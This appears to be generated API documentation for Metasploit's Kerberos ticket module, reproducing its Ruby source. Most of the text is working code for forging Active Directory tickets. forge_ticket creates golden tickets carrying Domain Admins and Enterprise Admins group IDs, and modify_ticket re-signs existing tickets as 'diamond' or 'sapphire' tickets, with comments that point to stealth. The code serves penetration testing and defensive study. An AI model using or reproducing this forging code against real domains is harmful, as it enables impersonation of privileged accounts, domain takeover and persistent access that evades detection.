Module: Msf::Exploit::Remote::Kerberos::Ticket

Defined in:
lib/msf/core/exploit/remote/kerberos/ticket.rb,
lib/msf/core/exploit/remote/kerberos/ticket/storage.rb

Defined Under Namespace

Modules: Storage

Constant Summary collapse

GROUP_IDS =
[
  Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
  Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
  Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS,
  Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
  Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
]

Instance Method Summary collapse

Instance Method Details

#ccache?(header) ⇒ Boolean

Returns:

  • (Boolean)


282
283
284
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 282

def ccache?(header)
  header[0..1] == "\x05\x04"
end

#create_ccache_principal(principle, realm) ⇒ Object



276
277
278
279
280
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 276

def create_ccache_principal(principle, realm)
  Rex::Proto::Kerberos::CredentialCache::Krb5CcachePrincipal.new(name_type: principle.name_type,
                                                                 components: principle.name_string,
                                                                 realm: realm)
end

#create_enc_ticket_part(opts:) ⇒ Object



196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 196

def create_enc_ticket_part(opts:)
  ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new

  ticket_enc_part.key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
    type: opts[:enc_type], value: opts[:session_key]
  )
  ticket_enc_part.flags = opts[:flags]
  ticket_enc_part.crealm = opts[:realm]
  ticket_enc_part.cname = opts[:client]
  ticket_enc_part.transited = Rex::Proto::Kerberos::Model::TransitedEncoding.new(tr_type: 0, contents: '')
  ticket_enc_part.authtime = opts[:auth_time]
  ticket_enc_part.starttime = opts[:start_time]
  ticket_enc_part.endtime = opts[:end_time]
  ticket_enc_part.renew_till = opts[:renew_till]
  if opts[:create_ticket_checksum]
    opts[:ticket_checksum] = create_ticket_checksum(opts[:checksum_type],
                                                    opts[:checksum_enc_key],
                                                    ticket_enc_part)
  end
  ticket_enc_part.authorization_data = build_pac_authorization_data(opts)
  ticket_enc_part
end

#create_new_sid(existing_sid, new_rid) ⇒ Object



189
190
191
192
193
194
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 189

def create_new_sid(existing_sid, new_rid)
  existing_sid = existing_sid.to_s
  domain_sid = existing_sid[0..existing_sid.rindex('-')]

  "#{domain_sid}#{new_rid}"
end

#create_principal(name) ⇒ Object



269
270
271
272
273
274
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 269

def create_principal(name)
  Rex::Proto::Kerberos::Model::PrincipalName.new(
    name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL,
    name_string: Array.wrap(name)
  )
end

#encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:) ⇒ Object



219
220
221
222
223
224
225
226
227
228
229
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 219

def encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:)
  enc_class = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(enc_type)

  encrypted = enc_class.encrypt(
    ticket_enc_part.encode, key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
  )

  Rex::Proto::Kerberos::Model::EncryptedData.new(
    etype: enc_type, kvno: 2, cipher: encrypted
  )
end

#forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:, domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID, domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true) ⇒ Object

Parameters:

  • session_key (String) (defaults to: nil)

    The session key

  • extra_sids (Array<String>) (defaults to: [])

    An array of extra sids, Ex: `['S-1-5-etc-etc-519']`



35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 35

def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
                 domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
                 domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false, is_golden: true)
  sname_principal = create_principal(sname)
  cname_principal = create_principal(username)
  checksum_type = get_checksum_type(enc_type)

  session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16
  session_key ||= SecureRandom.hex(session_key_byte_length / 2)
  if session_key.bytes.length != session_key_byte_length
    raise "Invalid key length for session key, expected #{session_key_byte_length}, got #{session_key.length} for session key #{session_key}"
  end

  opts = {
    client: cname_principal,
    server: sname_principal,
    auth_time: start_time,
    start_time: start_time,
    end_time: end_time,
    renew_till: end_time,
    realm: domain.upcase,
    key_value: enc_key,
    checksum_enc_key: enc_key,
    session_key: session_key,
    enc_type: enc_type,
    user_id: user_id,
    group_ids: GROUP_IDS,
    checksum_type: checksum_type,
    client_name: username,
    domain_id: domain_sid,
    extra_sids: extra_sids,
    flags: flags,
    create_ticket_checksum: ticket_checksum,
    is_golden: is_golden
  }

  ticket_enc_part = create_enc_ticket_part(opts: opts)
  enc_part = encrypt_ticket_enc_part(
    ticket_enc_part: ticket_enc_part, key: opts[:key_value], enc_type: opts[:enc_type]
  )
  ticket = Rex::Proto::Kerberos::Model::Ticket.new(
    tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
    realm: opts[:realm],
    sname: opts[:server],
    enc_part: enc_part
  )
  # Wrap the ticket up with its metadata, i.e. its key/sname/time information etc
  ccache = ticket_as_krb5ccache(ticket, opts: opts)

  ccache
end

#get_checksum_type(enc_type) ⇒ Object



19
20
21
22
23
24
25
26
27
28
29
30
31
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 19

def get_checksum_type(enc_type)
  # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers
  case enc_type
  when Rex::Proto::Kerberos::Crypto::Encryption::AES256
    Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256
  when Rex::Proto::Kerberos::Crypto::Encryption::AES128
    Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128
  when Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
    Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5
  else
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("Unknown crypto type: #{enc_type}")
  end
end

#kirbi?(header) ⇒ Boolean

Returns:

  • (Boolean)


286
287
288
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 286

def kirbi?(header)
  header[0] == "\x76"
end

#modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac) ⇒ Object

Take an existing ticket and change its PAC to have the provided user value (Used for diamond ticket functionality)

Parameters:

  • ticket (Ticket)

    The ticket to modify

  • enc_kdc_response (EncKdcResponse)

    The decrypted KDC response containing contextual information

  • new_user (String)

    The username to apply to the ticket

  • new_user_rid (Integer)

    The user RID to apply to the ticket

  • domain (String)

    The domain of the user

  • extra_sids (List<String>)

    Extra SIDs to include in the ticket

  • ticket_decryption_key (String)

    The encryption key of the existing ticket (krbtgt or a session key)

  • ticket_encryption_type (Integer)

    The encryption type of the resulting ticket

  • ticket_encryption_key (String)

    The encryption key for the resulting ticket (usually krbtgt)

  • copy_entire_pac (Boolean)

    Whether to copy all values (extra stealth, as long as the values are accurate i.e. sapphire ticket), or just the important ones



101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 101

def modify_ticket(ticket, enc_kdc_response, new_user, new_user_rid, domain, extra_sids, ticket_decryption_key, ticket_encryption_type, ticket_encryption_key, copy_entire_pac)
  ticket_enc_part = ticket.enc_part
  decrypted_ticket_part = ticket_enc_part.decrypt_asn1(ticket_decryption_key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
  decoded_ticket_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(decrypted_ticket_part)
  auth_data_val = decoded_ticket_part.authorization_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT}
  if auth_data_val.length != 1
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC AD_IF_RELEVANT elements found (expected 1)")
  end

  pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.decode(auth_data_val[0][:data])
  elements = pac_auth_data.elements.select { |element| element[:type] == Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC}

  if elements.length != 1
    raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new("#{elements.length} PAC elements found (expected 1)")
  end

  realm = domain
  checksum_type = get_checksum_type(ticket_encryption_type)
  existing_pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(elements[0][:data])
  cname_principal = create_principal(new_user)

  sname_principal = create_principal(['krbtgt',domain.upcase])
  opts = {
    client: cname_principal,
    server: sname_principal,
    auth_time: enc_kdc_response.auth_time,
    start_time: enc_kdc_response.start_time,
    end_time: enc_kdc_response.end_time,
    renew_till: enc_kdc_response.renew_till,
    realm: realm.upcase,
    key_value: ticket_encryption_key,
    checksum_enc_key: ticket_encryption_key,
    session_key: enc_kdc_response.key.value,
    enc_type: enc_kdc_response.key.type,
    user_id: new_user_rid,
    group_ids: GROUP_IDS,
    checksum_type: checksum_type,
    client_name: new_user,
    extra_sids: extra_sids,
    flags: Rex::Proto::Kerberos::Model::TicketFlags.from_flags(tgt_flags),
    create_ticket_checksum: false,
    is_golden: true,
  }
  ####

  domain_sid = nil
  existing_pac.pac_info_buffers.each do |buff|
    element = buff.buffer.pac_element
    case element.ul_type
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::LOGON_INFORMATION
      opts[:group_id] = element.data.primary_group_id.value
      opts[:domain_id] = element.data.logon_domain_id
      opts[:logon_domain_name] = element.data.logon_domain_name
      opts[:logon_count] = element.data.logon_count
      opts[:password_last_set] = element.data.password_last_set
      opts[:user_id] = element.data.user_id unless opts[:user_id]
      if copy_entire_pac
        opts[:base_verification_info] = element.data
        element.data.extra_sids.each do |sid|
          opts[:extra_sids].append(sid.sid.to_s)
        end
      end
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::USER_PRINCIPAL_NAME_AND_DNS_INFORMATION
      if copy_entire_pac
        opts[:upn_dns_info_pac_element] = element
      end
    when Rex::Proto::Kerberos::Pac::Krb5PacElementType::TICKET_CHECKSUM
      # We want to be stealthy and match whatever the KDC is doing, so we should do it too
      opts[:create_ticket_checksum] = true
    end
  end

  ticket_enc_part = create_enc_ticket_part(opts: opts)
  enc_part = encrypt_ticket_enc_part(
    ticket_enc_part: ticket_enc_part, key: ticket_encryption_key, enc_type: ticket_encryption_type
  )
  ticket = Rex::Proto::Kerberos::Model::Ticket.new(
    tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
    realm: opts[:realm],
    sname: opts[:server],
    enc_part: enc_part
  )

  ccache = ticket_as_krb5ccache(ticket, opts: opts)

  ccache
end


306
307
308
309
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 306

def print_ccache_contents(ccache, key: nil)
  presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ccache)
  print_status presenter.present(key: key)
end


290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 290

def print_contents(path, key: nil)
  header = File.binread(path, 2)
  if ccache?(header)
    print_status "Credentials cache: File:#{path}"
    ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(path))
    print_ccache_contents(ccache, key: key)
  elsif kirbi?(header)
    print_status "Kirbi File:#{path}"
    krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(File.binread(path))
    ccache = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
    print_ccache_contents(ccache, key: key)
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unknown file format')
  end
end

#tgs_flagsObject



231
232
233
234
235
236
237
238
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 231

def tgs_flags
  [
    Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::RENEWABLE,
    Rex::Proto::Kerberos::Model::TicketFlags::PRE_AUTHENT
  ]
end

#tgt_flagsObject



240
241
242
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 240

def tgt_flags
  tgs_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL
end

#ticket_as_krb5ccache(ticket, opts:) ⇒ Rex::Proto::Kerberos::CredentialCache::Krb5Ccache



247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# File 'lib/msf/core/exploit/remote/kerberos/ticket.rb', line 247

def ticket_as_krb5ccache(ticket, opts:)
  Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.new(
    default_principal: create_ccache_principal(opts[:client], opts[:realm]),
    credentials: [
      {
        client: create_ccache_principal(opts[:client], opts[:realm]),
        server: create_ccache_principal(opts[:server], opts[:realm]),
        keyblock: {
          enctype: opts[:enc_type],
          data: opts[:session_key]
        },
        authtime: opts[:auth_time],
        starttime: opts[:start_time],
        endtime: opts[:end_time],
        renew_till: opts[:renew_till],
        ticket_flags: opts[:flags].to_i,
        ticket: ticket.encode
      }
    ]
  )
end